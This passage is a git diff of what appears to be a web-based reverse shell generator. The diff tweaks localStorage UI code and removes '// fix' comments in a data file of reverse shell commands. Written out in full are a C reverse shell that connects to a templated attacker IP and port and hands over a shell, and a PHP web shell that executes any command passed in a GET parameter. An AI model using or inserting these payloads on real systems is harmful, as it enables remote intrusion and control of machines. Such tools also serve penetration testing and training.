- // } + if (element.type === "checkbox") { + const isChecked = (localStorage.getItem(key) !== 'false'); + element[attribute] = isChecked; + } - // if (element.nodeName === "SELECT") { - // const selectedItem = options.find(option => option[attribute] === localStorage.getItem(key)); - // selectedItem.selected = true; - // } + if (element.nodeName === "SELECT") { + const selectedItem = options.find(option => option[attribute] === localStorage.getItem(key)); + selectedItem.selected = true; + } - // } + } } /* @@ -902,20 +900,17 @@ setLocalStorage(selectedItem, "shell", "value"); }); - autoCopySwitch.addEventListener("change", () => { - setLocalStorage(autoCopySwitch, "auto-copy", "checked"); - }); - - + // autoCopySwitch.addEventListener("change", () => { + // setLocalStorage(autoCopySwitch, "auto-copy", "checked"); + // }); // Popper tooltips $(function () { $('[data-toggle="tooltip"]').tooltip() }); - // TODO: add a random fifo for netcat mkfifo - let randomId = Math.random().toString(36).substring(2, 4); + //let randomId = Math.random().toString(36).substring(2, 4); diff --git a/js/data.js b/js/data.js index cfe97a2..bf66766 100644 --- a/js/data.js +++ b/js/data.js @@ -80,7 +80,6 @@ const reverseShellCommands = withCommandType( "meta": ["linux", "mac"] }, { - // fix "name": "C", "command": "#include <stdio.h>\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n\nint main(void){\n int port = {port};\n struct sockaddr_in revsockaddr;\n\n int sockt = socket(AF_INET, SOCK_STREAM, 0);\n revsockaddr.sin_family = AF_INET; \n revsockaddr.sin_port = htons(port);\n revsockaddr.sin_addr.s_addr = inet_addr(\"{ip}\");\n\n connect(sockt, (struct sockaddr *) &revsockaddr, \n sizeof(revsockaddr));\n dup2(sockt, 0);\n dup2(sockt, 1);\n dup2(sockt, 2);\n\n char * const argv[] = {\"{shell}\", NULL};\n execve(\"{shell}\", argv, NULL);\n\n return 0; \n}", "meta": ["linux", "windows", "mac"] @@ -116,7 +115,6 @@ const reverseShellCommands = withCommandType( "meta": ["linux", "windows", "mac"] }, { - // fix "name": "PHP cmd", "command": "<html>\n<body>\n<form method=\"GET\" name=\"<?php echo basename($_SERVER[\'PHP_SELF\']); ?>\">\n<input type=\"TEXT\" name=\"cmd\" id=\"cmd\" size=\"80\">\n<input type=\"SUBMIT\" value=\"Execute\">\n<\/form>\n<pre>\n<?php\n if(isset($_GET[\'cmd\']))\n {\n system($_GET[\'cmd\']);\n }\n?>\n<\/pre>\n<\/body>\n<script>document.getElementById(\"cmd\").focus();<\/script>\n<\/html>", "meta": ["linux", "windows", "mac"]